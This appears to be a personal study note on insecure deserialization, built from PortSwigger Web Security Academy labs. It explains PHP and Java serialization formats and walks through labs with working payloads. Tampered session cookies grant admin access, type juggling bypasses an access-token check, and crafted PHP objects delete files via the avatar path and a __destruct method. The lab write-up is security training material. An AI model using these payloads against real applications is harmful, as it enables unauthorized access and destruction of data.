How to Identify Insecure Deserialization
During auditing, you should look at all data being passed into the website and try to identify anything that looks like serialized data. Serialized data can be identified relatively easily if you know the format that different languages use.
PHP Serialization Format
PHP uses a mostly human-readable string format, with letters representing the data type and numbers representing the length of each entry.
For example, consider a User
object with the attributes:
$user->name = "carlos";
$user->isLoggedIn = true;
When serialized, this object may look something like this:
O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}
O:4:"User"
 - An object with the 4-character class nameÂ"User"
2
 - the object has 2 attributess:4:"name"
 - The key of the first attribute is the 4-character stringÂ"name"
s:6:"carlos"
 - The value of the first attribute is the 6-character stringÂ"carlos"
s:10:"isLoggedIn"
 - The key of the second attribute is the 10-character stringÂ"isLoggedIn"
b:1
 - The value of the second attribute is the boolean valueÂtrue
The native methods for PHP serialization are serialize()
 and unserialize()
.
Java Serialization Format
Some languages, such as Java, use binary serialization formats. This is more difficult to read, but you can still identify serialized data if you know how to recognize a few tell-tale signs. For example, serialized Java objects always begin with the same bytes, which are encoded as ac ed
 in hexadecimal and rO0
 in Base64.
Any class that implements the interface java.io.Serializable
 can be serialized and deserialized. If you have source code access, take note of any code that uses the readObject()
 method, which is used to read and deserialize data from an InputStream
.
Manipulating Serialized Objects
Modifying Object Attributes
When tampering with the data, as long as the attacker preserves a valid serialized object, the deserialization process will create a server-side object with the modified attribute values.
As a simple example, consider a website that uses a serialized User
 object to store data about a user’s session in a cookie. If an attacker spotted this serialized object in an HTTP request, they might decode it to find the following byte stream:
O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;}
Let’s say the website uses this cookie to check whether the current user has access to certain administrative functionality:
$user = unserialize($_COOKIE);
if ($user->isAdmin === true) {
// allow access to admin interface
}
This vulnerable code would instantiate a User
 object based on the data from the cookie, including the attacker-modified isAdmin
 attribute.
Lab: Modifying Serialized Objects
Cookie has the following format:
Set-Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30%3d; Secure; HttpOnly; SameSite=None
Decode session
cookie with base64:
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}
Edit value of admin
property from 0
to 1
and re-encode the cookie:
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30=
We can access the admin page:
GET /admin HTTP/2
Host: 0ac4008603d013c28006bcb000d100d1.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30=
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Frame-Options: SAMEORIGIN
Content-Length: 3104
Use that cookie to delete carlos
user:
POST /admin/delete?username=carlos HTTP/2
Host: 0ac4008603d013c28006bcb000d100d1.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30=
HTTP/2 302 Found
Location: /admin
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Modifying Data Types
PHP-based logic is particularly vulnerable to this kind of manipulation due to the behavior of its loose comparison operator (==
) when comparing different data types.
Unusually, this also works for any alphanumeric string that starts with a number. In this case, PHP will effectively convert the entire string to an integer value based on the initial number. The rest of the string is ignored completely. Therefore, 5 == "5 of something"
 is in practice treated as 5 == 5
.
This becomes even stranger when comparing a string with the integer 0
. Because there is no number, that is, 0 numerals in the string, PHP treats this entire string as the integer 0
:
0 == "Example string" // true
Consider a case where this loose comparison operator is used in conjunction with user-controllable data from a deserialized object:
$login = unserialize($_COOKIE)
if ($login['password'] == $password) {
// log in successfully
}
Let’s say an attacker modified the password attribute so that it contained the integer 0
 instead of the expected string. As long as the stored password does not start with a number, the condition would always return true
, enabling an authentication bypass.
Attention
Be aware that when modifying data types in any serialized object format, it is important to remember to update any type labels and length indicators in the serialized data too. Otherwise, the serialized object will be corrupted and will not be deserialized.
Lab: Modifying Serialized Data Types
The original serialized session
cookie object:
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"m7nnz08yuhzs0cr1n2oc8eh673njwuat";}
Change value of access_token
to the integer 0
:
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";i:0;}
Re-encode and send request to /admin
, the response indicates that we can access:
GET /admin HTTP/2
Host: 0a5f002203b53db080ba8a8300ff006c.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtpOjA7fQ%3d%3d
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Frame-Options: SAMEORIGIN
Content-Length: 3113
Use the modified session
cookie to delete carlos
user:
POST /admin/delete?username=carlos HTTP/2
Host: 0a5f002203b53db080ba8a8300ff006c.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtpOjA7fQ%3d%3d
HTTP/2 302 Found
Location: /admin
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Using Application Functionality
As well as simply checking attribute values, a website’s functionality might also perform dangerous operations on data from a deserialized object. In this case, you can use insecure deserialization to pass in unexpected data and leverage the related functionality to do damage.
For example, as part of a website’s “Delete user” functionality, the user’s profile picture is deleted by accessing the file path in the $user->image_location
 attribute. If this $user
 was created from a serialized object, an attacker could exploit this by passing in a modified object with the image_location
 set to an arbitrary file path. Deleting their own user account would then delete this arbitrary file as well.
Lab: Using Application Functionality to Exploit Insecure Deserialization
The original delete account request:
POST /my-account/delete HTTP/2
Host: 0ae50011039d87cd82899cf00001009e.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJiaXIzdWMwb3czbXFwaTFyYjZtemFzMTR6anM3YzBwayI7czoxMToiYXZhdGFyX2xpbmsiO3M6MTk6InVzZXJzL3dpZW5lci9hdmF0YXIiO30%3d
Decoded cookie:
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"bir3uc0ow3mqpi1rb6mzas14zjs7c0pk";s:11:"avatar_link";s:19:"users/wiener/avatar";}
Change username
from wiener
to carlos
, re-encode and send request:
POST /my-account/delete HTTP/2
Host: 0ae50011039d87cd82899cf00001009e.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjY6ImNhcmxvcyI7czoxMjoiYWNjZXNzX3Rva2VuIjtpOjA7czoxMToiYXZhdGFyX2xpbmsiO3M6MTk6InVzZXJzL3dpZW5lci9hdmF0YXIiO30%3d
The response has this error message:
<p class=is-warning>
PHP Fatal error: Uncaught Exception: (DEBUG: $access_tokens[$user->username] = tt78hdc49c098kbkodp6bx9ea4wqisk9, $user->access_token = 0, $access_tokens = [tt78hdc49c098kbkodp6bx9ea4wqisk9, hvx32dtmwcp8tq8i8pfwifi5lgaz6dab, bir3uc0ow3mqpi1rb6mzas14zjs7c0pk]) Invalid access token for user carlos in /var/www/index.php:8
Stack trace:
#0 {main}
thrown in /var/www/index.php on line 8
</p>
As we can see, it reveals all access tokens. Try those and find out that access token for carlos
is tt78hdc49c098kbkodp6bx9ea4wqisk9
. Modify the session
cookie:
O:4:"User":3:{s:8:"username";s:6:"carlos";s:12:"access_token";s:32:"tt78hdc49c098kbkodp6bx9ea4wqisk9";s:11:"avatar_link";s:19:"users/wiener/avatar";}
Re-encode and send request, the response has another error message:
<p class=is-warning>
PHP Warning: file_put_contents(users/carlos/disabled): failed to open stream: No such file or directory in /home/carlos/User.php on line 45
PHP Fatal error: Uncaught Exception: Could not write to users/carlos/disabled in /home/carlos/User.php:46
Stack trace:
#0 Command line code(5): User->delete()
#1 {main}
thrown in /home/carlos/User.php on line 46
</p>
This response reveals the directory of carlos
user. Now, we modify the path to the file we want to delete:
O:4:"User":3:{s:8:"username";s:6:"carlos";s:12:"access_token";s:32:"c7etqjvh9ilwdroowgjkwr6x8vgvbi4o";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}
Re-encode and send request:
POST /my-account/delete HTTP/2
Host: 0a6200540406960682b3807300ed0079.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjY6ImNhcmxvcyI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJjN2V0cWp2aDlpbHdkcm9vd2dqa3dyNng4dmd2Ymk0byI7czoxMToiYXZhdGFyX2xpbmsiO3M6MjM6Ii9ob21lL2Nhcmxvcy9tb3JhbGUudHh0Ijt9
Even though the status code is 500, our exploit is successful.
Magic Methods
Info
Magic methods are special methods that are automatically called when certain events happen. Common in many object-oriented languages, they often have names with double underscores. For example, PHP’s
__construct()
is called when a class object is created, similar to Python’s__init__
.
Most importantly in this context, some languages automatically invoke magic methods during deserialization. For instance, PHP’s unserialize()
method calls the __wakeup()
magic method.
In Java, the ObjectInputStream.readObject()
method reads serialized data and acts like a constructor to re-initialize an object. Java’s Serializable
classes can define their own readObject()
method like this:
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
// implementation
}
A readObject()
method defined this way serves as a magic method during deserialization.
Injecting Arbitrary Objects
Deserialization methods do not typically check what they are deserializing. This means that you can pass in objects of any serializable class that is available to the website, and the object will be deserialized. This effectively allows an attacker to create instances of arbitrary classes. The fact that this object is not of the expected class does not matter. The unexpected object type might cause an exception in the application logic, but the malicious object will already be instantiated by then.
To construct a simple exploit, the attacker would look for classes containing deserialization magic methods, then check whether any of them perform dangerous operations on controllable data.
Lab: Arbitrary Object Injection in PHP
Hint
You can sometimes read source code by appending a tilde (
~)
 to a filename to retrieve an editor-generated backup file.
Found this comment in the response:
<!-- TODO: Refactor once /libs/CustomTemplate.php is updated -->
Access /libs/CustomTemplate.php~
to get the source code:
<?php
class CustomTemplate {
private $template_file_path;
private $lock_file_path;
public function __construct($template_file_path) {
$this->template_file_path = $template_file_path;
$this->lock_file_path = $template_file_path . ".lock";
}
private function isTemplateLocked() {
return file_exists($this->lock_file_path);
}
public function getTemplate() {
return file_get_contents($this->template_file_path);
}
public function saveTemplate($template) {
if (!isTemplateLocked()) {
if (file_put_contents($this->lock_file_path, "") === false) {
throw new Exception("Could not write to " . $this->lock_file_path);
}
if (file_put_contents($this->template_file_path, $template) === false) {
throw new Exception("Could not write to " . $this->template_file_path);
}
}
}
function __destruct() {
// Carlos thought this would be a good idea
if (file_exists($this->lock_file_path)) {
unlink($this->lock_file_path);
}
}
}
?>
The unlink
function is used for removing a file: PHP: unlink - Manual.
Create a serialized CustomTemplate
object that has lock_file_path
is the path of morale.txt
file in Carlos’s home directory:
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
Re-encode and send request to /lib/CustomTemplate.php
:
GET /libs/CustomTemplate.php HTTP/2
Host: 0abf001504b0117680171288007c0068.web-security-academy.net
Cookie: session=TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjE6e3M6MTQ6ImxvY2tfZmlsZV9wYXRoIjtzOjIzOiIvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7fQ%3d%3d
HTTP/2 200 OK
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 0
And there we go!
Related
list
from outgoing([[Port Swigger - Exploiting Insecure Deserialization Vulnerabilities]])
sort file.ctime asc